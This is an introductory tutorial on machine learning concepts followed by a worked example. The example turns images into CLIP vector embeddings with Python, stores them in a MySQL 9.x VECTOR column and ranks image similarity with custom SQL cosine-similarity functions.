Machine Learning (ML)

Machine Learning is a subset of AI where systems learn patterns from data rather than being explicitly programmed.

There are three main types of machine learning:

Supervised Learning

Uses labeled data, where each input has a known correct output.
Example: Predicting house prices.
Inputs: house size, location
Output: predicted price

Unsupervised Learning

The data is not labeled. The system tries to discover patterns or structure in the data on its own.
Example:
Customer purchase behavior analysis.
For instance, the system might detect that customers who buy Product P1 often also buy Product P2.

Reinforcement Learning

Works through interaction with an environment using a reward/penalty mechanism.
The system learns through trial and error, continuously improving its decisions based on feedback.
An agent interacts with the environment repeatedly to achieve the optimal outcome.

Deep Learning (DL)

Deep Learning is a subset of Machine Learning.
It uses multi-layer neural networks to learn complex patterns in large datasets.
Deep learning is especially powerful for:

images
speech
language processing

Neural Networks (NN)

Neural Networks are the core architecture used in deep learning.
They consist of nodes (neurons) organized into layers:

Input layer
Hidden layers
Output layer

Each neuron performs a mathematical operation based on the following equation:
y = Σ (xi * wi) + b
Where:

xi = input value
wi = weight (importance of the input)
b = bias (a learnable scalar parameter)
y = output

Data flows through the network in a feed-forward manner, and the network learns by adjusting weights during training.

Types of Neural Networks

Artificial Neural Networks (ANN)
Basic layered neural networks where information flows in one direction.
Convolutional Neural Networks (CNN)
Designed for image data. CNNs extract spatial features such as:
edges
textures
shapes
Recurrent Neural Networks (RNN)
These networks contain loops and can remember previous inputs. They are commonly used for sequence data such as text or speech.

Large Language Models (LLM)

Large Language Models are a type of deep learning model trained on massive text datasets.

They are capable of:

understanding language
generating human-like text
producing embeddings for semantic similarity

Process Overview with practical example

Convert an image to a vector embedding
Store the vector in MySQL (version 9.0 or later)
Run queries to compare vectors
Identify which images are most similar

Environment Setup

Create a Python Virtual Environment

Install the virtual environment package:
sudo apt install python3.12-venv
Create the environment:
python3 -m venv venv

Activate it
Linux/macOS
source venv/bin/activate
Windows
venv\Scripts\activate

Install Required Libraries

pip install sentence-transformers pillow torch

Create the MySQL Table

Create a table with a vector column (createtable.sql).

    /*This SQL is to create the table with Vector , MySQL Version 9.6.0
     *The size of the Vector is set to (512) ,
     * The INSERT statement has 512 floating point number
     * and this is the correct match for Common Model Source - CLIP / Truncated OpenAI */
    CREATE TABLE image_embeddings (
        id INT PRIMARY KEY AUTO_INCREMENT,
        image_name VARCHAR(255),
        embedding VECTOR(512) -- Example for a 512-dimensional float vector
    );

Python Script: Convert Image to Vector

Write a Python script to convert images into vectors.
(transformer_image-to-vector.py)

import glob
import sys
import os

# Test it!
if len(sys.argv) > 2:
    imageDir = sys.argv[1]
    sqlFilePath = sys.argv[2]
    if os.path.exists(sqlFilePath):
        os.remove(sqlFilePath)
else:
    print("Usage: python3 transformer_image-to-vector.py <image directory> <path of the output sql")
    sys.exit();

from sentence_transformers import SentenceTransformer
from PIL import Image
import json


# 1. Load the CLIP model (this is the modern equivalent of imgbeddings)
# It downloads about 600MB on the first run.
model = SentenceTransformer('clip-ViT-B-32')

#This is the Function to generate the sql from the image and write to a desired file
def get_sql_insert(image_path,file_path_to_write):
    try:
        print("Will write the image {} to file: {}".format(image_path,file_path_to_write))
        # 2. Load and process the image
        img = Image.open(image_path)

        # 3. Generate the vector (embedding)
        # We use .tolist() to turn the math array into a Python list
        embedding = model.encode(img).tolist()

        # 4. Format the list as a string for SQL [0.1, 0.2, ...]
        vector_string = json.dumps(embedding)

        # 5. Create the SQL command
        sql = "--This sql is genrated from the image using  the model SentenceTransformer('clip-ViT-B-32')\n"
        sql = sql + f"INSERT INTO image_embeddings (image_name, embedding) VALUES ('{image_path}', STRING_TO_VECTOR('{vector_string}'));\n"
        with open(file_path_to_write, "a") as file:
            file.write(sql)
        return ("Successfully Wrote the image {} to file: {}".format(image_path,file_path_to_write))

    except Exception as e:
        return f"Error: {e}"

#It will take all the .jpg files from the image directory (First parameter of this python script)
#and write to the desired file (2nd parameter of this python script)
for lst in glob.glob(f"{imageDir}/*.jpg"):
    print(get_sql_insert(lst,sqlFilePath))

Usage:
python3 transformer_image-to-vector.py <image_directory> <output_sql_file>
The script generates SQL statements that insert vectors into the MySQL table. Run the output SQL file to store the vectors in MySQL Database.

Comparing Image Vectors

Once the vectors are stored, we can compare them using vector similarity.
At the moment, some MySQL vector functions are still evolving.
For example, direct usage of VECTOR_DISTANCE() may have limitations in certain versions (9.60).
So we implement custom helper functions.

Custom MySQL Functions

Two helper functions are created:

my_dot_product(vector, vector)

DELIMITER //

CREATE FUNCTION my_dot_product(v1 VECTOR, v2 VECTOR)
RETURNS FLOAT DETERMINISTIC
BEGIN
    DECLARE total FLOAT DEFAULT 0;
    DECLARE i INT DEFAULT 0;
    DECLARE dim INT;
    -- Convert Vector to String, then to JSON
    DECLARE j1 JSON DEFAULT CAST(VECTOR_TO_STRING(v1) AS JSON);
    DECLARE j2 JSON DEFAULT CAST(VECTOR_TO_STRING(v2) AS JSON);

    SET dim = JSON_LENGTH(j1);

    WHILE i < dim DO
        SET total = total + (JSON_EXTRACT(j1, CONCAT('$[', i, ']')) * JSON_EXTRACT(j2, CONCAT('$[', i, ']')));
        SET i = i + 1;
    END WHILE;

    RETURN total;
END //

DELIMITER ;

my_vec_norm(vector)

DELIMITER //

CREATE FUNCTION my_vec_norm(v VECTOR)
RETURNS FLOAT DETERMINISTIC
BEGIN
    DECLARE total FLOAT DEFAULT 0;
    DECLARE i INT DEFAULT 0;
    DECLARE dim INT;
    DECLARE j JSON DEFAULT CAST(VECTOR_TO_STRING(v) AS JSON);
    DECLARE val FLOAT;

    SET dim = JSON_LENGTH(j);

    WHILE i < dim DO
        SET val = JSON_EXTRACT(j, CONCAT('$[', i, ']'));
        SET total = total + (val * val);
        SET i = i + 1;
    END WHILE;

    RETURN SQRT(total);
END //

DELIMITER ;

These functions allow us to compute cosine similarity between vectors.

Querying Image Similarity

Now we run a query to compare stored images against a target image.

SET @target = STRING_TO_VECTOR('[0.07557862997055054, 0.3899604380130768, -0.149032324552536, 0.06481198966503143, 0.17365998029708862, 0.1696033775806427, -0.009633079171180725, 0.026114463806152344, 0.13283401727676392, -0.048670023679733276, 0.2853511571884155, -0.47713860869407654, 0.3193468451499939, -0.4782599210739136, 0.19979414343833923, -0.4020282030105591, -0.17893710732460022, -0.16028517484664917, 0.11166025698184967, -0.4441247880458832, 0.0721852108836174, -0.015377134084701538, 0.06420326232910156, -0.5317407846450806, 0.011108562350273132, 0.7078717350959778, -0.15541546046733856, 0.06636792421340942, -0.1235189437866211, 0.17564985156059265, -0.2749885618686676, -0.021165557205677032, 0.24020248651504517, 0.4338991641998291, 0.3174438774585724, -0.2427300065755844, -0.15270879864692688, -0.13448885083198547, -0.03258641064167023, 1.4516336917877197, 0.2088334858417511, -0.07482234388589859, -0.060038354247808456, -0.09696637094020844, 0.2288440763950348, -0.45773571729660034, -0.442022442817688, -0.1333482265472412, 0.20572619140148163, 0.022368118166923523, 0.2268296778202057, 0.0717138946056366, -0.18176983296871185, -0.08150641620159149, -0.3742990493774414, -0.08863221853971481, 0.24395513534545898, 0.14680302143096924, 0.45115935802459717, 0.07179692387580872, 0.13299871981143951, -0.6536737680435181, -0.10842005163431168, 0.46789559721946716, -0.09359163045883179, -0.029734283685684204, -0.4210904538631439, 0.44143062829971313, -0.2495618760585785, 0.16764293611049652, -0.0010016188025474548, 0.12750700116157532, -0.09728701412677765, -0.33462393283843994, -0.19563797116279602, 0.38896551728248596, -0.07021686434745789, 0.05845819413661957, -0.2159923017024994, 0.22142955660820007, 0.08275012671947479, 0.08141633123159409, 0.011051833629608154, -0.0470392107963562, 0.2281772345304489, 0.1281975507736206, -0.2673131823539734, 0.09869228303432465, -0.46927496790885925, 0.5890671014785767, -0.26286429166793823, 0.029046714305877686, -6.433596611022949, 0.8787387609481812, -0.3467825651168823, 0.3790345788002014, 0.04438466578722, 0.651203453540802, -0.34149351716041565, -0.8458610773086548, 0.034017741680145264, -0.2053813338279724, 0.35773321986198425, 0.04032140225172043, 0.30020737648010254, -0.20292143523693085, -0.6659493446350098, -0.14945490658283234, -0.08128952980041504, 0.037803277373313904, -0.24363872408866882, -0.5452983975410461, -0.15123391151428223, 0.06196553260087967, 0.0037244856357574463, 0.37201881408691406, 0.3830801248550415, 0.038900259882211685, 0.5477883815765381, -0.2165623903274536, -0.12358544021844864, 0.6665405035018921, 0.08692356944084167, -0.7012655138969421, -0.2776182293891907, -0.10287892073392868, -0.16323958337306976, 0.29088079929351807, 0.17843754589557648, -0.041389890015125275, -0.206215500831604, 0.8713011741638184, 0.10298433899879456, 0.8146358132362366, 0.5424628257751465, 0.2975153625011444, -0.013563252985477448, 0.13421256840229034, -0.3498159945011139, -0.3292694687843323, -0.2611740529537201, 0.026821553707122803, -0.4656805992126465, 0.733379602432251, 0.09556902945041656, 0.031042248010635376, 0.3466207981109619, 0.470894992351532, -0.24531006813049316, 0.09481766074895859, -0.07527203112840652, -0.3095394968986511, 0.6393522024154663, -0.09749913960695267, -0.11673454940319061, -0.17871969938278198, -0.1564812809228897, 0.2511930465698242, -0.13378417491912842, 0.17615115642547607, -0.06127139925956726, -0.04496309161186218, -0.35364609956741333, -0.08319900929927826, 0.14410080015659332, -0.2627147138118744, 0.9161733388900757, 0.37756675481796265, 0.1632954180240631, 0.0905647948384285, -0.10490548610687256, 0.33364954590797424, -0.05363786220550537, -0.6529805064201355, 0.26767054200172424, 0.26338034868240356, -1.0595732927322388, -0.22944216430187225, -0.26375362277030945, -0.1988820880651474, -0.12509888410568237, 0.24070680141448975, -0.2588941156864166, -0.33498746156692505, 0.126882404088974, 0.17642360925674438, 0.040883928537368774, -0.0052263736724853516, -0.16343313455581665, 0.0562138706445694, 0.2096858024597168, 0.09584870934486389, -0.11106163263320923, 0.1729261875152588, 0.20461152493953705, 0.12263501435518265, 0.27892982959747314, -0.6255460381507874, -0.764202892780304, 0.14997950196266174, 0.16245627403259277, -0.37481117248535156, -0.06923999637365341, 0.6191018223762512, -0.2948871850967407, 0.261602520942688, -0.04764917492866516, -0.15079966187477112, -0.5841816067695618, 0.21257054805755615, -0.21506810188293457, -0.04135539382696152, 0.5817644596099854, 0.12262402474880219, 0.42174848914146423, 0.1265665739774704, 0.01666194200515747, 0.13379910588264465, -0.5832018256187439, -0.3252071738243103, 0.22216439247131348, 0.4046194851398468, 0.20799392461776733, -0.07600507140159607, -0.3153631389141083, -0.10026045888662338, 0.2151670753955841, -0.15998244285583496, -0.498496949672699, -0.04490187019109726, -0.3262564539909363, 0.2954603433609009, -0.07442381978034973, 0.24110326170921326, 0.17248889803886414, 0.45136961340904236, 0.13689523935317993, -0.4876601994037628, 0.050953567028045654, -0.5781422853469849, 0.39940330386161804, 0.08282990008592606, 0.12615060806274414, -0.29397282004356384, -0.1800389140844345, 0.6491589546203613, -0.46026864647865295, 0.35799282789230347, -0.2924331724643707, -0.43013110756874084, -0.3808341324329376, 0.55094313621521, 0.03232079744338989, -0.462185800075531, -0.313692569732666, 0.07338142395019531, 0.16393449902534485, -0.039127856492996216, 0.6098682880401611, -0.16981320083141327, -0.35463374853134155, -0.4267345666885376, -0.09102936089038849, 1.8269031047821045, 0.20107018947601318, 0.15080709755420685, 0.3966326117515564, 0.14836283028125763, 0.43229472637176514, -0.12651363015174866, 0.008955806493759155, -0.02638685703277588, 0.13089591264724731, 0.07453787326812744, -0.26478222012519836, -0.22489425539970398, 0.24618230760097504, 0.17845292389392853, -0.0707186758518219, -0.062373995780944824, -0.06923562288284302, 0.47168073058128357, -0.07979298382997513, -0.07240656018257141, 0.20423418283462524, 0.4307517111301422, -0.9086780548095703, 0.40964275598526, -0.23126669228076935, -0.28451400995254517, -0.020541366189718246, 0.2600404620170593, -0.10833749175071716, 0.036447957158088684, -0.36018478870391846, -0.12711986899375916, 0.2606499195098877, 0.2881711423397064, 0.7029435634613037, -0.1414911448955536, -0.0848516896367073, 0.3585105538368225, -0.04511311650276184, 0.24639412760734558, 0.4116198420524597, -0.4193349778652191, 0.5370025038719177, 0.4218825697898865, 0.03302404284477234, 0.04051119089126587, -0.4930671155452728, 0.12944979965686798, 0.8145080804824829, -0.49908819794654846, 0.19380804896354675, 0.09682479500770569, 0.4217352271080017, -0.5215371251106262, -0.06526830792427063, -0.26663315296173096, 0.2522737979888916, 1.213325023651123, 0.0012408196926116943, -0.2426946759223938, -0.28965428471565247, -0.3634025752544403, -0.13846488296985626, -0.3301095962524414, -0.12310884147882462, -0.03835451602935791, -0.7434549331665039, 0.24088844656944275, -0.17097029089927673, -0.13022029399871826, -0.007050663232803345, 0.06718186289072037, 0.45522329211235046, 0.10973918437957764, 0.012622185051441193, 0.16777338087558746, -0.05771467462182045, 0.19996578991413116, -0.24137984216213226, 0.24456733465194702, -0.11382054537534714, 0.010699808597564697, 0.19115638732910156, -0.0028515905141830444, -0.09564647823572159, 0.09341803193092346, 0.2944413125514984, 0.23297476768493652, -0.17356669902801514, 0.39457371830940247, -0.31496915221214294, 0.23409241437911987, -0.12645113468170166, -0.6129994988441467, -0.15042293071746826, -0.26337844133377075, 0.3586566150188446, 0.015362411737442017, -0.1516532152891159, 0.22309523820877075, -1.4553773403167725, 0.622140645980835, -0.5070102214813232, -0.7885435223579407, 0.1319749355316162, -0.446965754032135, -0.16092371940612793, 0.3529052436351776, 0.007851272821426392, 0.09744635224342346, 0.20603105425834656, -0.08496123552322388, 0.3391745984554291, 0.0328497439622879, 1.0089284181594849, 0.3865002393722534, 0.8738011121749878, 0.06040278077125549, -0.015890859067440033, -0.21144962310791016, 0.5995208621025085, 0.32733339071273804, 0.9662830829620361, 0.3483368158340454, 0.08898067474365234, 0.887071430683136, 0.3696739375591278, 0.19864115118980408, 0.03314075618982315, 0.03536325320601463, -0.12863528728485107, 0.06904687732458115, -0.24006515741348267, -0.012378469109535217, -0.5082074403762817, -0.7163709402084351, -0.1123851016163826, 0.010127410292625427, 0.4355129599571228, -0.6237277984619141, 0.2890245020389557, 0.5209721326828003, -0.15595661103725433, 0.08429825305938721, 0.09569454938173294, -0.23599457740783691, -0.16896066069602966, -0.004924099892377853, 0.6319135427474976, 0.4765503704547882, 0.01589702069759369, -0.05348372459411621, 0.055996619164943695, -0.5671727657318115, 0.15062867105007172, -0.5092383623123169, -0.058769792318344116, 0.09755947440862656, 0.2507498860359192, 0.08485430479049683, 0.0793701708316803, 0.021087057888507843, -0.5461320281028748, 0.304355651140213, -0.7253096699714661, 0.6294398307800293, -0.3105747103691101, 0.3905089199542999, 0.2852843105792999, -0.07321953773498535, 0.023653872311115265, -0.37693509459495544, 0.2675110697746277, 0.04210440814495087, 0.09981885552406311, -0.20424491167068481, 0.3030926287174225, 0.026748113334178925, 0.5781193375587463, 0.00048617273569107056, -0.1131657287478447, 0.2036598026752472, -0.2140207141637802, -0.011482134461402893, -0.2234390377998352, -0.43609818816185, -0.504375696182251, -0.01408250629901886, -0.06268232315778732, -0.3341209888458252, 0.29185229539871216, -0.2411029040813446, 0.5522151589393616, -0.06291865557432175, -0.3783164620399475, -0.2328968197107315, -0.3904339075088501, -0.11180463433265686, -0.16056767106056213, -0.16029603779315948, -0.2223338484764099, 0.33838483691215515, -0.23742935061454773, 0.12314961105585098, -0.5309375524520874, -0.07631200551986694, 0.35636740922927856, 0.17236372828483582, 0.19029422104358673, -0.1397394984960556, 0.5870028734207153, -0.4097609221935272, 0.15144716203212738, 0.003988280892372131, -0.05234433710575104, -0.2421717643737793, -0.006953790783882141, -0.5565206408500671, 0.06222153455018997, -0.07391542196273804, 0.40786826610565186, -0.04986128211021423, -0.285273939371109, -0.1444988250732422, 0.024988561868667603, -0.3689330816268921, -0.40285810828208923, -0.10759894549846649, -0.0395619198679924, 0.01536903902888298, 0.0707881823182106, 0.22722786664962769, 0.2506854236125946, 0.023645572364330292, -0.14591404795646667, 0.09581179171800613, -0.12541484832763672, 0.03997009992599487, -0.02025282382965088, -0.23364081978797913, 0.3128877580165863, 0.12357562780380249, -0.1596986949443817, 0.22576884925365448, -0.14733293652534485, 0.24771124124526978, 0.0026986300945281982, 0.5146662592887878]');

SELECT image_name,
       (my_dot_product(embedding, @target) / (my_vec_norm(embedding) * my_vec_norm(@target))) AS similarity
FROM image_embeddings
ORDER BY similarity DESC
LIMIT 5;

Source Code

All source files are available on GitHub:
GIT Source Codes

Role of the Libraries Used

NumPy

Handles:

arrays
matrix operations
linear algebra

PyTorch

Used for:

building neural networks
defining layers (Linear, CNN, Transformer)
training models
GPU acceleration
backpropagation

sentence-transformers

This library converts text or images into dense vector embeddings using deep neural networks.
Internally the process is:
Input → Transformer Model → Embedding Vector

Pillow

Pillow is a Python library for image processing.
Before an image is passed to a neural network, it usually undergoes preprocessing such as:

loading
resizing
cropping
normalization
converting to tensors

Pillow helps perform these operations.

Real-World Use Cases

Images stored as vectors could be useful for many real world applications
Search Image: Find similar images
Ecommerce: Find visually similar products
Check Duplicity: Detect very similar or duplicate image
Prohibited Image: Identify prohibited or restricted image

Tested with:

- Python 3.12  
- MySQL 9.x  
- sentence-transformers  
- PyTorch

Conclusion

Vector embeddings enable powerful capabilities such as:

semantic search
image similarity detection
recommendation systems
multimodal AI applications With modern databases like MySQL supporting vector storage, it becomes possible to build AI-powered search systems directly inside the database layer.